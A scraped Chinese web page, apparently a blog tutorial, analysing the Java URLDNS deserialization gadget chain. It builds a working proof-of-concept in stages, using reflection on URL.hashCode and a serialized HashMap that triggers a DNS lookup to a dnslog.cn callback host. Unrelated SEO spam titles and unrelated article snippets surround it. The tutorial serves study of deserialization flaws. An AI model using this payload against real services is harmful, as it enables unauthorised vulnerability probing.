WordPress网站被恶意登录素材网站设计模板下载

pingmian/2025/10/9 13:34:18/文章来源:
WordPress网站被恶意登录,素材网站设计模板下载,有免费做理化试验的网站吗,提升排名Java安全 URLDNS链分析 什么是URLDNS链URLDNS链分析调用链路HashMap类分析URL类分析 exp编写思路整理初步expexp改进最终exp 什么是URLDNS链 URLDNS链是Java安全中比较简单的一条利用链#xff0c;无需使用任何第三方库#xff0c;全依靠Java内置的一些类实现#xff0c;但… Java安全 URLDNS链分析 什么是URLDNS链URLDNS链分析调用链路HashMap类分析URL类分析 exp编写思路整理初步expexp改进最终exp 什么是URLDNS链 URLDNS链是Java安全中比较简单的一条利用链无需使用任何第三方库全依靠Java内置的一些类实现但无法进行命令执行只能实现对URl的访问探测发起DNS请求并且不限制Java版本可以用于检测是否存在反序列化漏洞理解好URLDNS链那么接下来对CC链的学习就会简单许多 URLDNS链分析 调用链路 Gadget Chain:HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode() HashMap类分析 我们来到 HashMap.java文件查看HashMap类的readObject方法代码如下 private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor 0 || Float.isNaN(loadFactor))throw new InvalidObjectException(Illegal load factor: loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings s.readInt(); // Read number of mappings (size)if (mappings 0)throw new InvalidObjectException(Illegal mappings count: mappings);else if (mappings 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc (float)mappings / lf 1.0f;int cap ((fc DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft (float)cap * lf;threshold ((cap MAXIMUM_CAPACITY ft MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);SuppressWarnings({rawtypes,unchecked})NodeK,V[] tab (NodeK,V[])new Node[cap];table tab;// Read the keys and values, and put the mappings in the HashMapfor (int i 0; i mappings; i) {SuppressWarnings(unchecked)K key (K) s.readObject();SuppressWarnings(unchecked)V value (V) s.readObject();putVal(hash(key), key, value, false, false);}} }我们看下该方法的最后一行代码 putVal(hash(key), key, value, false, false);发现调用了对 key变量 调用了该类里里面的hash函数然后我们分析下key参数是怎么获得的 通过以下代码可以看出定义了一个K类型的key变量然后对反序列化的输入流进行反序列化并把反序列化出的键复制给key变量 K类型是代表键的泛型其定义的数据可以是任何类型但只能作为map中的键 K key (K) s.readObject();我们再看下 hash 函数是如何对key处理的我们在HashMap类中找到hash函数代码如下 static final int hash(Object key) {int h;return (key null) ? 0 : (h key.hashCode()) ^ (h 16);}经分析只要我们的key对象也就是传入map的键不为空就会执行h key.hashCode()也就是执行key对象里的hashCode()方法 URL类分析 这里接上文假设我们传入map中的key为URL对象那么便调用URL类中的hashCode()方法我们看下这个方法的代码 public synchronized int hashCode() {if (hashCode ! -1)return hashCode;hashCode handler.hashCode(this);return hashCode;}这里看到只要 hashCode -1的话那么便会执行handler.hashCode(this);我们去看下 hashcode 属性是怎么定义的 private int hashCode -1;我们发现 hashcode 的初始值为 -1也就是默认执行handler.hashCode(this);我们再去看看 handler 是怎么定义的代表了什么通过下面可得handler属性代表了URLStreamHandler类的临时对象 transient URLStreamHandler handler; //这个URL传输实现类是一个transient临时类型不会被反序列化经分析也就是把这一整个URL对象作为参数传入了URLStreamHandler类的hashCode方法 this代表的是当前对象的指针也可以用 this.name 的方式调用当前对象中的成员 那我们去URLStreamHandler类当中查看下hashCode方法的代码 protected int hashCode(URL u) {int h 0;// Generate the protocol part.String protocol u.getProtocol();if (protocol ! null)h protocol.hashCode();// Generate the host part.InetAddress addr getHostAddress(u);if (addr ! null) {h addr.hashCode();} else {String host u.getHost();if (host ! null)h host.toLowerCase().hashCode();}// Generate the file part.String file u.getFile();if (file ! null)h file.hashCode();// Generate the port part.if (u.getPort() -1)h getDefaultPort();elseh u.getPort();// Generate the ref part.String ref u.getRef();if (ref ! null)h ref.hashCode();return h;}我们看到 hashcode 方法接收一个URL类型的参数然后对接收的 URL对象也就是前面的key执行InetAddress addr getHostAddress(u);并会把求出的 hash值 返回给 URL对象中的hashCode属性这里记住下面有用到 getHostAddress函数会对URL对象代表的链接进行DNS解析获取其ip地址我们使用 DNSLog 平台可以检测到该函数的访问 exp编写 思路整理 根据上面的链路分析我们首先需要创建一个指向DNSLog平台链接的URL对象然后作为键传入HashMap数组最后将该数组进行序列化然后反序列化调用其readObject方法将URL对象赋值给key然后使用hash方法处理URL对象再调用URL对象的hashcode方法然后以URL对象为参数传入URLStreamHandler类的hashCode方法对URL对象指向的链接进行访问 初步exp 现在的exp大体如下 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws Exception {HashMap map new HashMap();URL url new URL(http://j0obud.dnslog.cn/);//这里替换为DNSLog平台分配的地址map.put(url,114);//键值用不到随便设置try {FileOutputStream outputStream new FileOutputStream(./2.ser);ObjectOutputStream outputStream1 new ObjectOutputStream(outputStream);outputStream1.writeObject(map);outputStream.close();outputStream1.close();FileInputStream inputStream new FileInputStream(./2.ser);ObjectInputStream objectInputStream new ObjectInputStream(inputStream);objectInputStream.readObject();objectInputStream.close();inputStream.close();}catch (Exception e){e.printStackTrace();}} }我们在第13行打个断点也就是try的这一行 然后运行代码发现未经序列化与反序列化仍然能对url进行DNS解析 正是下面这一行代码导致了url的提前解析 map.put(url,114);//键值用不到随便设置我们去看下map(HashMap类)的put方法代码如下 public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}我们发现这个put方法和readObject方法触发的语句完全一样同样会对URL对象执行HashMap类中的hash方法然后就和上文所述的过程相同最总到达hashCode方法对URL对象解析 return putVal(hash(key), key, value, false, true);下面是这两个方法的语句对比可以看到是一模一样的 put方法 readObject方法 需要注意的是假如提前触发的话反序列化的时候便不会再进行DNS解析 我们再次回到URL类中的hashCode方法并看一下其hashCode属性的定义 private int hashCode -1; public synchronized int hashCode() {if (hashCode ! -1)return hashCode;hashCode handler.hashCode(this);return hashCode;}可以看到只有当 hashCode -1时才会执行hashCode handler.hashCode(this);从而到下一步DNS解析然后 hashCode属性被赋值为这个URL解析的哈希值从而为一个很长的正数从而不为 -1,然后序列化的时候这个hashCode属性值保持不变当反序列化到hashCode方法时以为 hashCode ! -1 直接进入if执行return hashCode;最终到这里就断掉了无法触发DNS解析 exp改进 那怎么办呢 我们可以先在put时将 hashCode 值通过反射修改为任意一个不为 -1 的数字从而不会提前触发DNS解析然后在put完成后我们再通过反射将 hashCode值设为 -1示例如下 field.set(url,123); //将url的hashcode属性改为123使其不等于-1 map.put(url,2333); //这里的value用不上随便设置 field.set(url,-1);//put完之后我们就需要将hashcode属性改回成-1从而能执行handler.hashCode(this);通过反射我们可以动态修改一个对象中的属性和方法 最终exp package org.example; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNS {public static void main(String[] args) throws Exception {HashMap map new HashMap();URL url new URL(http://mm4dhq.dnslog.cn/);//这里替换为DNSLog平台分配的地址Class clas url.getClass();Field field clas.getDeclaredField(hashCode);field.setAccessible(true);field.set(url,123); //将url的hashcode属性改为123使其不等于-1map.put(url,2333); //这里的value用不上随便设置field.set(url,-1);//put完之后我们就需要将hashcode属性改回成-1从而能执行handler.hashcodetry {//序列化FileOutputStream outputStream new FileOutputStream(./2.ser);ObjectOutputStream outputStream1 new ObjectOutputStream(outputStream);outputStream1.writeObject(map);outputStream.close();outputStream1.close();//反序列化此时触发dns请求FileInputStream inputStream new FileInputStream(./2.ser);ObjectInputStream objectInputStream new ObjectInputStream(inputStream);objectInputStream.readObject();objectInputStream.close();inputStream.close();}catch (Exception e){e.printStackTrace();}} }我们再次在put语句下面打断点观察是否还会提前触发可以看到DNSLog平台没有记录代表put时由于hashCode值不为 -1 没有执行handler.hashCode(this) 我们在断点处继续执行可以看到反序列化成功触发了DNS解析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/90524.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站建设的调查问卷php 简单购物网站

一、现场场景概述 现场每天每张表入库数据量大约2-4亿条,页面涉及到自定义时间段查询(白天08:00-15:00,夜晚23:00-06:00)与不同时间段(最近一天、一周、一个月和全部)的统计指标查询。 二、主要问题 时间跨度大无查询或查询条件命中数据过多的分页查询场景速度慢 (主要是数据…

小鱼儿企业网站管理系统全国工商核名查询系统官网

我们新手写题时总能看到题目中类似这样的输入 没有给固定多少个数据,我们没有办法直接设置数组的元素个数,很纠结,下面我来提供一下本人的方法(新手,看到有错误或者不好的地方欢迎大佬指出,纠正&#xff0…

如何建网站教程视频上海太江建设网站

转自:https://blog.csdn.net/sabcdefg/article/details/106693203 在分析之前,先吐槽下M$的MFC,竟然没有相对布局!(至少我不知道,每次都是使用代码控制布局), M$这么多年,也不发展一下,你看C#都有相对布局... 参考精通Qt4编程(第2版),先看看…

有哪些专做旅游定制的网站公司域名邮箱怎么注册

一、逻辑备份 备份的是建表、建库、插入等操作所执行SQL语句,适用于中小型数据库,效率相对较低。 本质:导出的是SQL语句文件 优点:不论是什么存储引擎,都可以用mysqldump备成SQL语句 缺点:速度较慢&…

qq炫舞做浴缸的网站科技作文

正题 评测记录:https://www.luogu.org/recordnew/lists?uid52918&pidP1063 题目大意 有n个珠子组成环,每颗珠子的头尾标记连接,将两颗珠子合并会产生headi∗headj∗tailjheadi∗headj∗tailj的能量,产生一颗头标记为头珠子的头标记&am…

网站制作1昌网站建设

idea terminal 不支持中文 问题现象,如图所示: 修改前 如下图 : 解决方案: 1、做一下配置,按图操作即可: 2、找到以下标记文件 3、打开bash.bashrc 在最后添加 export LANG"zh_CN.UTF-8" ex…

做虚假彩票网站判几年做网站简单需要什么

标题:线上超市小程序:精心策划活动,提升用户参与度与购物体验 一、引言 随着移动互联网的普及,线上购物已经成为人们日常生活的一部分。线上超市作为线上购物的重要组成部分,以其便捷、快速、丰富的商品种类和个性化…

公司app与网站建设方案国内什么网站用asp.net

✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取项目下载方式🍅 一、项目背景介绍: 随着城市化进程的加快…

公司网站建app南阳网站推广优化公司哪家好

一、筛选多条件 Q:筛选多个条件,并将筛选出的内容复制到其他区域 点击任意一个单元格 点击【数据】——【筛选】——【高级筛选】 选择【将筛选结果复制到其他位置】——在【列表区域】 鼠标选择对应的区域位置,条件区域一定要单独写出来&a…

泰安百度做网站的怎么做网站发布

股票交易手续费是进行股票交易时所支付的手续费。委托买卖的手续费分“阶段式”和“跟价式”。(1)阶段式。根据股票价格和交易股数收取手续费。(2)跟价式。根据股票的交易金额收取手续费,目前世界上多采用跟价式。 我国目前主要是证券公司收取佣金和国家收取的印花税…

wordpress区分移动站石家庄在哪个省

TCP/IP 真实环境中,数据库服务器进程和客户端进程可能运行在不同的主机中,它们之间必须通过网络来进行通讯。MySQL采用TCP作为服务器和客户端之间的网络通信协议。在网络环境下,每台计算机都有一个唯一的IP地址,如果某个进程有需…

php 网站建设流程知名网站开发公司

课程链接:https://edu.csdn.net/course/detail/38956 PyTorch版的YOLOv8是先进的高性能实时目标检测方法。 TensorRT是针对英伟达GPU的加速工具。 本课程讲述如何使用TensorRT对YOLOv8目标检测进行加速和部署。 •采用改进后的tensorrtx/yolov8的代码,…

广告传媒公司名字大全最新seo公司是什么

有些情况接口需要返回的是xml数据&#xff0c;在springboot中并不需要每次都转换一下数据格式&#xff0c;只需做一些微调整即可。 新建一个springboot项目&#xff0c;加入依赖jackson-dataformat-xml&#xff0c;pom文件代码如下&#xff1a; <?xml version"1.0&quo…

网站建设jwzcq自己做的网站怎么取sql数据

文章目录 1.服务通信的概念及应用场景1.1概念1.2 应用场景 2.准备工作3.服务通信的实现3.1 服务通信接口消息3.2 服务端实现3.3 客户端实现3.4 编译及运行3.4.1 修改CMakeLists3.4.2 服务端运行结果3.4.2 客户端运行结果 1.服务通信的概念及应用场景 1.1概念 服务通信也是ROS…

大型门户网站建设多少钱网站seo排名免费咨询

因为使用的GatewayWorker框架使用了swoole&#xff0c;但swoole依赖于event&#xff0c;所以必须安装下event扩展&#xff01; 1. 最初使用brew install libevent安装了下&#xff0c;运行gatewayworker发现错误依然存在&#xff01; 2. 考虑到是php里使用event&#xff0c;所…

常用的网络营销推广方法有哪些百度seo公司电话

跟Tomcat、Turbine等诸多Apache项目一样&#xff0c;是开源软件&#xff0c;这是它的一大优点。使开发者能更深入的了解其内部实现机制。 Struts开放源码框架的创建是为了使开发者在构建基于Java Servlet和JavaServer Pages&#xff08;JSP&#xff09;技术的Web应用时更加容易…

系统 网站开发工程师电脑做系统网站

《构建之法》 参考书和链接汇总 参考书汇总 一些读者对《构建之法》引用过的参考书也感兴趣&#xff0c;因此我把所有参考书单独列出来。其实人大部分的思想都是受某些外部信息的启发影响而来&#xff0c;很多道理看似新颖&#xff0c;其实别人早就讲过了&#x1f600;。这个参…

wordpress子域名站点求个网站没封的2021

名人说&#xff1a;莫道桑榆晚&#xff0c;为霞尚满天。——刘禹锡&#xff08;刘梦得&#xff0c;诗豪&#xff09; 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 1、Ajax入门①简介②工作原理③优点④缺点⑤使用…

文化馆门户网站建设的作用及意义杭州工业设计公司有哪些

概要 机器学习模型的“黑箱”困境 机器学习模型的崛起让我们惊叹不已&#xff01;不论是预测房价、识别图片中的猫狗&#xff0c;还是推荐给你喜欢的音乐&#xff0c;这些模型都表现得非常出色。但是&#xff0c;有没有想过&#xff0c;这些模型到底是如何做出这些决策的呢&a…

做书网站 时光网店代运营哪家公司好

计算机学院举办2018届毕业生足球赛当下又到了毕业季&#xff0c;2018届的本科同学们即将离开校园&#xff0c;开启人生新的阶段&#xff0c;在此背景下由共青团西北工业大学计算机学院委员会主办&#xff0c;10011508团支部、计算机学院体工部承办这一次毕业生足球赛。本次比赛…